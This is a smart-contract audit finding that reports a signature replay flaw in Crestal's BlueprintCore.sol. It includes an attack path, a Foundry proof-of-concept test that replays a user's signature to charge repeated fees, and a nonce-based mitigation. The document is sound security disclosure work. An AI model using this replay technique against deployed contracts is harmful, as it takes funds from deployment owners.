Old Latte Bull

High

# Signature Replay Vulnerability in updateWorkerDeploymentConfigWithSig Leads to financial loss to users

### Summary

The lack of a signature reuse check in `BlueprintCore.sol`  will cause a financial loss for the deployment owner as an attacker will resubmit the same signature to repeatedly deduct fees from the owner’s token balance.

### Root Cause

The function [`updateWorkerDeploymentConfigWithSig()`](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L672) passes the signature in the input data, gets the digest from [`getRequestDeploymentDigest()`](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L672) , then gets the signer address using `getSignerAddress()`. However, there is no check preventing from re-using the same signature multiple times, and since the signature is included in the transaction data in the input field, and all transaction data is public on the blockchain, a malicious user can re-use the same signature multiple times, triggering repeated calls to [`payWithERC20()`](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L650) ( the signature never expires and it will remain visible on the blockchain forever ) .





### Internal Pre-conditions

There needs to be at least one update with signature.

### External Pre-conditions

N/A

### Attack Path

1. `updateWorkerDeploymentConfigWithSig` is called with a valid `signature` , `projectId`, `requestId`, and `updatedBase64Config`, updating the deployment configuration, and paying the updating fee.

2. An attacker observes the transaction on the blockchain, extracts the `signature` from the transaction’s input data, and calls `updateWorkerDeploymentConfigWithSig()` with the same signature, projectId, requestId, and updatedBase64Config, causing the deployment owner to pay the fee again, causing financial damage to him.



### Impact

Direct financial loss to deployment owners :  `fee * the number of times the singature attack was replayed`

### PoC

- Run `forge test --mt test_SignatureReplayAttack -vv`
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test, console} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {BlueprintV5} from "../src/BlueprintV5.sol";
import {BlueprintCore} from "../src/BlueprintCore.sol";
import {Blueprint} from "../src/Blueprint.sol";
import {stdError} from "forge-std/StdError.sol";
import {MockERC20} from "./MockERC20.sol";
import {ECDSA} from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";

contract AuditTest is Test {
    BlueprintV5 public blueprint;
    MockERC20 public mockToken;
    address public workerAddress;
    address public user = address(0x1338);
    address public attacker = address(0x1337);
    bytes32 public projectId;
    bytes32 public requestId;
    string public base64Proposal = "eyJ0ZXN0IjoiZGVwbG95In0="; // {"test":"deploy"}
    string public serverURL = "https://test.crestal.network";
    string public updatedBase64Config = "eyJ1cGRhdGUiOiJjb25maWcifQ=="; // {"update":"config"}

    uint256 constant USER_PRIVATE_KEY = 0x1234567890abcdef;

    event UpdateDeploymentConfig(bytes32 indexed projectId, bytes32 indexed requestID, address workerAddress, string base64Config);

    function setUp() public {
        vm.startPrank(user);
        blueprint = new BlueprintV5();
        blueprint.initialize();
        vm.stopPrank();

        mockToken = new MockERC20();

        vm.startPrank(user);
        blueprint.setFeeCollectionWalletAddress(address(0x7D8));
        blueprint.addPaymentAddress(address(mockToken));
        blueprint.setCreateAgentTokenCost(address(mockToken), 10e18); // 10 tokens = 10000000000000000000
        blueprint.setUpdateCreateAgentTokenCost(address(mockToken), 10e18); // 10 tokens = 10000000000000000000
        vm.stopPrank();

        workerAddress = makeAddr("worker");
        projectId = bytes32(0x2723a34e38d0f0aa09ce626f00aa23c0464b52c75516cf3203cc4c9afeaf2980);
    }

    function test_SignatureReplayAttack() public {
        address derivedUser = vm.addr(USER_PRIVATE_KEY);
        console.log("\n  Derived user address:", derivedUser);

        // 1 - Setup: User creates an agent to get a valid requestID
        vm.startPrank(derivedUser);
        deal(address(mockToken), derivedUser, 1000000e18);
        mockToken.approve(address(blueprint), 1000000e18);
        console.log("User balance before setup:", mockToken.balanceOf(derivedUser));
        console.log("Fee wallet balance before setup:", mockToken.balanceOf(address(0x7D8)));

        requestId = blueprint.createAgentWithToken(
            projectId, base64Proposal, workerAddress, serverURL, address(mockToken)
        );
        console.log("\n  User balance after setup (should be 1000000e18 - 10e18):", mockToken.balanceOf(derivedUser));
        console.log("Fee wallet balance after setup (should be 10e18):", mockToken.balanceOf(address(0x7D8)));

        // 2 - User signs and submits a valid update
        bytes32 digest = blueprint.getRequestDeploymentDigest(projectId, updatedBase64Config, "app.crestal.network");
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(USER_PRIVATE_KEY, digest);
        bytes memory signature = abi.encodePacked(r, s, v);

        address signer = ECDSA.recover(digest, signature);
        console.log("Recovered signer for first call:", signer);
        assertEq(signer, derivedUser, "Signer should match derived user");

        blueprint.updateWorkerDeploymentConfigWithSig(
            address(mockToken), projectId, requestId, updatedBase64Config, signature
        );
        console.log("\n  User balance after first update (should be 1000000e18 - 20e18):", mockToken.balanceOf(derivedUser));
        console.log("Fee wallet balance after first update (should be 20e18):", mockToken.balanceOf(address(0x7D8)));
        vm.stopPrank();

        // 3 - Attacker observes the transaction on the blockchain, and replays the SAME signature
        vm.startPrank(attacker);
        vm.expectEmit(true, true, true, true, address(blueprint));
        emit UpdateDeploymentConfig(projectId, requestId, workerAddress, updatedBase64Config);
        console.log("\n  [+] Attempting replay attack...");
        console.log("Derived user address:", derivedUser);
        blueprint.updateWorkerDeploymentConfigWithSig(
            address(mockToken), projectId, requestId, updatedBase64Config, signature
        );
        vm.stopPrank();

        // 4 - Check results
        console.log("User balance after replay (should be 1000000e18 - 30e18):", mockToken.balanceOf(derivedUser));
        console.log("Fee wallet balance after replay (should be 30e18):", mockToken.balanceOf(address(0x7D8)));
    }
}
```

- Expected output :
> ![Image](https://sherlock-files.ams3.digitaloceanspaces.com/gh-images/7ca99097-f282-4637-9a9f-3795edb2e97b)


### Mitigation

**Use a nonce** : each user should have a unique nonce that gets included in the signature. Once used, it should be invalidated. If an attacker tries to reuse an old signature, the nonce will have changed, making the signature invalid.